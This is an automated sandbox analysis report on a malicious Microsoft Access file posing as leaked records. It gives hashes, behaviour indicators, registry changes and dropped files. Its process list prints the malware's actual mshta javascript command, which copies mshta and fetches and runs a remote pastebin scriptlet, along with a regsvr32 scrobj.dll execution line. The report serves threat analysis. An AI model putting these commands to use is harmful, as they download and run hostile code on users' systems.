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File name:

Leaked_Records_15072019_Col.accdb

Full analysis: https://app.any.run/tasks/ccbb2180-78e2-469a-9d9e-856ee3f73e56
Verdict: Malicious activity
Analysis date: July 17, 2019, 13:39:12
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-msaccess
File info: Microsoft Access Database
MD5:

BEFC603B7E59E0B739AE150FFC0CAD3A

SHA1:

4BF499C320E6806E877E68876A3BEB2ADA2A45AC

SHA256:

7C02D2F27147C49030C0619D1D313CFA24234F789E149B2E3D1478400496A32C

SSDEEP:

1536:DAQxNqc6lh3WHzVdGduAixBQdpdzdmdudJ:DAQxNqc6lsfkuAixAjJEcJ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • mshta.exe (PID: 1080)
      • cutil.exe (PID: 3052)

    • Unusual execution from Microsoft Office

      • MSACCESS.EXE (PID: 3276)

    • Changes the autorun value in the registry

      • cutil.exe (PID: 3052)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • mshta.exe (PID: 1080)
      • cutil.exe (PID: 3052)

    • Starts itself from another location

      • mshta.exe (PID: 1080)

    • Starts Microsoft Office Application

      • rundll32.exe (PID: 3544)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • MSACCESS.EXE (PID: 3276)

    • Creates files in the user directory

      • cutil.exe (PID: 3052)
      • MSACCESS.EXE (PID: 3276)

    • Reads internet explorer settings

      • cutil.exe (PID: 3052)

  • INFO

    • Reads Microsoft Office registry keys

      • MSACCESS.EXE (PID: 3276)

    • Reads internet explorer settings

      • mshta.exe (PID: 1080)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.accdb | Microsoft Access 2007 Database (90.4)
.pi2 | DEGAS med-res bitmap (9.5)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
5
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start rundll32.exe no specs msaccess.exe mshta.exe cutil.exe regsvr32.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3544"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\AppData\Local\Temp\Leaked_Records_15072019_Col.accdbC:\Windows\system32\rundll32.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3276"C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE" /NOSTARTUP "C:\Users\admin\AppData\Local\Temp\Leaked_Records_15072019_Col.accdb" C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Access
Version:
14.0.6024.1000
1080"C:\Windows\System32\mshta.exe" javascript:eval(new%20ActiveXObject("Scripting.FileSystemObject").CopyFile%20("c:\\windows\\system32\\mshta.exe",%20new%20ActiveXObject("Wscript.Shell").ExpandEnvironmentStrings("%25userprofile%25")+"\\AppData\\Local\\Microsoft\\cutil.exe"));eval(new%20ActiveXObject("Wscript.Shell").Run(new%20ActiveXObject("Wscript.Shell").ExpandEnvironmentStrings("%25userprofile%25")+"\\AppData\\Local\\Microsoft\\cutil%20javascript:eval(a=GetObject('script:https://pastebin.com/raw/viwSRB6M'));close();"));close();C:\Windows\System32\mshta.exe
MSACCESS.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3052"C:\Users\admin\AppData\Local\Microsoft\cutil.exe" javascript:eval(a=GetObject('script:https://pastebin.com/raw/viwSRB6M'));close();C:\Users\admin\AppData\Local\Microsoft\cutil.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
1876"C:\Windows\System32\regsvr32.exe" /u /n /s /i:C:\Users\admin\AppData\Local\logs.tmp scrobj.dllC:\Windows\System32\regsvr32.exe—cutil.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft(C) Register Server
Exit code:
5
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 599
Read events
1 456
Write events
136
Delete events
7

Modification events

(PID) Process:(3544) rundll32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.accdb\OpenWithProgids
Operation:writeName:Access.Application.14
Value:
(PID) Process:(3544) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:LangID
Value:
0904
(PID) Process:(3544) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE
Value:
Microsoft Access
(PID) Process:(3544) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
Value:
Adobe Acrobat Reader DC
(PID) Process:(3544) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Windows\eHome\ehshell.exe
Value:
Windows Media Center
(PID) Process:(3544) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\Internet Explorer\iexplore.exe
Value:
Internet Explorer
(PID) Process:(3544) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Windows\system32\mspaint.exe
Value:
Paint
(PID) Process:(3544) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Windows\system32\NOTEPAD.EXE
Value:
Notepad
(PID) Process:(3544) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\PROGRA~1\MICROS~1\Office14\OIS.EXE
Value:
Microsoft Office 2010
(PID) Process:(3544) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\Opera\Opera.exe
Value:
Opera Internet Browser
Executable files
2
Suspicious files
0
Text files
3
Unknown types
2

Dropped files

PID
Process
Filename
Type
3276MSACCESS.EXEC:\Users\admin\AppData\Local\Temp\CVRF3D6.tmp.cvr —
MD5:—
SHA256:—
3052cutil.exeC:\Users\admin\AppData\Local\temp.tmpexecutable
MD5:91456160503D1965136BBE939606878E
SHA256:350CDEC0802FB24B9AA93CF44C318DCC12BBAF2D85B0E43D0142C54690A18138
3276MSACCESS.EXEC:\Users\admin\AppData\Roaming\Microsoft\Access\System.mdwmdw
MD5:5DD1E148840C367A82F4A1BE6926825F
SHA256:D4787D4F6ACCCDA7CF06F147598D637EE996543A2FB62E9023D3915512DC064F
3052cutil.exeC:\Users\admin\AppData\Local\logs.tmptext
MD5:626C22DE97EEC542521DC24103DAA418
SHA256:85287E7301D3983BBE6A95B4FA6F6451DB816E33F9366E27E561711B505F14C7
1080mshta.exeC:\Users\admin\AppData\Local\Microsoft\cutil.exeexecutable
MD5:E2FE656A79D8F4C4FD70201E7423BDA0
SHA256:DB40B518DEB81B146CC81B0C360AECC84204E3CDC108B1F5F158EE60C1792806
3052cutil.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\viwSRB6M[1].txtxml
MD5:3739532BDF9B523E245EEEDD062AB5FF
SHA256:544C113236191E588D7679CB9168C5D45A8D4736B5D08217BE1C66DED4F468F3
3052cutil.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txttext
MD5:7C2325BAB482DD93B5B9BC66B17CFA13
SHA256:BA58614D2FD06B0D8E0955CA3820839D06F5FF41331892FE0D62BEDC8022BFEA
3276MSACCESS.EXEC:\Users\admin\AppData\Local\Temp\Database.lnklnk
MD5:31AEFA424BD036B40F8B9B64C1C9F78F
SHA256:67106A3278F63805F941D515BE4A40EA1DB3F0D926A4C9A8C71376F10E5EED26
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3052
cutil.exe
104.20.209.21:443
pastebin.com
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.209.21
  • 104.20.208.21
shared

Threats

No threats detected
Process
Message
MSACCESS.EXE
C:\Users\admin\AppData\Roaming\Microsoft\Access\System.mdw
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Leaked_Records_15072019_Col.accdb